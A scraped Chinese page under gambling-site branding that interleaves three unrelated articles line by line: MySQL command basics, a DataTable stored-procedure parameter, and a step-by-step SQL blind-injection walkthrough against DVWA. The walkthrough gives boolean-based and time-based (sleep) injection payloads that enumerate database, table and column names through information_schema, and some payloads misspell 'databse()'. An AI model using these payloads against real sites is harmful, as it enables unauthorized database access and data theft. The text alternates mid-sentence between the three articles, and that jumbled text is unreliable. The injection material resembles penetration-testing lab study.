金沙棋牌app手机下载

当前位置:金沙棋牌 > 金沙棋牌app手机下载 > 传入参数为DataTable类型,mysql数据库的使用与理解

传入参数为DataTable类型,mysql数据库的使用与理解

来源:http://www.logblo.com 作者:金沙棋牌 时间:2019-11-09 19:49

金沙棋牌app手机下载 1

mysql数据库的使用与理解(基于ubuntu14.0.4LTS64位)

数据库的创建:create database database_name;

SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

以上为数据库中存储过程传入参数为table类型

1.mysql数据库的组成与相关概念

数据库的查看:show databases;

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

table类型在数据库中存在为:
金沙棋牌app手机下载 2

首先明白,mysql是关系型数据库,和非关系型数据库中最大的不同就是表的概念不一样。

删除数据库:drop database database_name;

手工盲注的步骤:

最后在C#实现方式为:
金沙棋牌app手机下载 3

+ 整个mysql环境可以理解成一个最大的数据库:A

修改数据库:alter database database_name charset utf8

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

+ 用mysql创建的 数据库 B是属于A的,是数据的仓库,相当于系统中的文件夹

进入数据库:use database_name;

首先演示基于布尔的盲注

+ 数据表 C:是存放数据的具体场所,相当于系统中的文件,一个数据库B中包含若干个数据表C(注意此处的数据库B和A不一样)

建表:create table table_name(name type tiaojian);

1.判断是否存在注入,注入是字符型还是数字型

金沙棋牌app手机下载,+ 记录 D:数据表中的一行称为一个记录,因此,我们在创建数据表时,一定要创建一个id列,用于标识“这是第几条记录”,id列的值不能相同,必须唯一,就相当于身份证号一样。一个表C中可以有多条记录D

在同一张表中字段名不能相同,宽度和约束条件可选,字段名和类型必须;

输入1,显示相应用户存在:

+ 字段 E:一个表中的各个列,就叫“字段”,在数据库中的每个字段,都是有规定的,比如:字段的数据类型、空与不空的判断、自动增长等。一条记录D可以有多个字段E。

查看表名:show tables

金沙棋牌app手机下载 4

+ 数据 F:行和列的交叉处,就是真正的“数据”F。

查看表中的详细信息:desc table_name             

输入1’ and 1=1 #,显示存在:

2.数据库的基本操作(ubuntu环境下)常用命令实例。

select查看(select 字段 from table_name)

金沙棋牌app手机下载 5

2.1 登陆mysql:mysql -u root - p -u:以用户名登陆,-p:输入密码

金沙棋牌app手机下载 6

往表中插入数据:insert into table_name values ();

输入1’ and 1=2 #,显示不存在:

2.2 查看数据库:输入上面的命令后会要求输入密码,登陆成功后会显示如上图的界面,查看系统A自带的数据B

insert into table_name(ziduan) values(duiying_ziduan)

金沙棋牌app手机下载 7

show databases; 注意分号不能少,如下图中显示系统自带的database。

金沙棋牌app手机下载 8

修改表:

说明存在字符型的SQL盲注。

2.3 创建数据库:create database mytest;这样就创建了一个数据库B,库名叫mytest.

金沙棋牌app手机下载 9

修改表名:alter table table_name rename new_table_name;

2.猜解当前数据库名

2.4 在上面4个数据库中,如何选择我们的想要的数据库呢? use mytest,这样就选中了我们的数据库mytest.

金沙棋牌app手机下载 10

增加字段;alter table table_name add ziduanmin;

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

2.5 如果想删除数据库的话:drop database mytest 这样就会删除数据库且不会提醒了 。

删除字段:alter table table_name drop ziduanmin;

输入1’ and length(database())=1 #,显示不存在;

2.6查看当前的状态: status;

金沙棋牌app手机下载 11

修改字段:alter table table_name modify ................

输入1’ and length(database())=2 #,显示不存在;

2.7 显示当前数据库中的表C ,有下面两种方式。a: show tables; b: show tables FROM mytest;.其中mytest是我们建立的数据库。

金沙棋牌app手机下载 12

     alter table table_name change.........

输入1’ and length(database())=3 #,显示不存在;

2.8 数据表的建立与删除

输入1’ and length(database())=4 #,显示存在:

create table mytable (id int, name int);

说明数据库名长度为4。

drop table mytable;

金沙棋牌app手机下载 13

下面采用二分法猜解数据库名。

2.9 建立好数据表如何使用,也就是如何向数据表中插入数据呢? insert into mytable (id ,name) values (1,10);

输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的

2.10 查询表中数据,select id,name from mytable where id=1 order; 或是 select * from mytable

金沙棋牌app手机下载 14

ascii值大于97(小写字母a的ascii值);

2.11 表中数据的更新,update mytable set name=20 where id=1;

金沙棋牌app手机下载 15

输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的

2.12 表的删除:delete from mytable; 或者 drop table mytable;

ascii值小于122(小写字母z的ascii值);

2.13 表结构的修改

(1)增加一个字段格式:
  alter table table_name add column (字段名 字段类型); —-此方法带括号 (2)指定字段插入的位置:
  alter table table_name add column 字段名 字段类型 after 某字段; (3)修改字段名称/类型
  alter table table_name change 旧字段名 新字段名 新字段的类型; (4)改表的名字
  alter table table_name rename to new_table_name; (5)一次性清空表中的所有数据
  truncate table table_name; 此方法也会使表中的取号器(ID)从1开始 (6) 删除一个字段:
  alter table table_name drop字段名;

输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的

2.14 修改密码格式:mysqladmin -u用户名 -p旧密码 password 新密码;

ascii值小于109(小写字母m的ascii值);

2.15 显示表的结构:describe mytables;

金沙棋牌app手机下载 16

输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的

2.16 显示当前的数据库和用户 show database(); show user();

金沙棋牌app手机下载 17

ascii值小于103(小写字母g的ascii值);

3 注意:

输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的

3.1 如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。

ascii值不小于100(小写字母d的ascii值);

3.2 可以使用光标上下键调出以前的命令。

1.mysql数据库的组成与相关概念 首先明白,mysql是关系型数据库,和非关系型数据库中最大...

输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的

ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

5.猜解数据

同样采用二分法。

还可以使用基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

2.猜解当前数据库名

首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟

1’ and if(length(database())=2,sleep(5),1) # 没有延迟

1’ and if(length(database())=3,sleep(5),1) # 没有延迟

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法。

本文由金沙棋牌发布于金沙棋牌app手机下载,转载请注明出处:传入参数为DataTable类型,mysql数据库的使用与理解

关键词: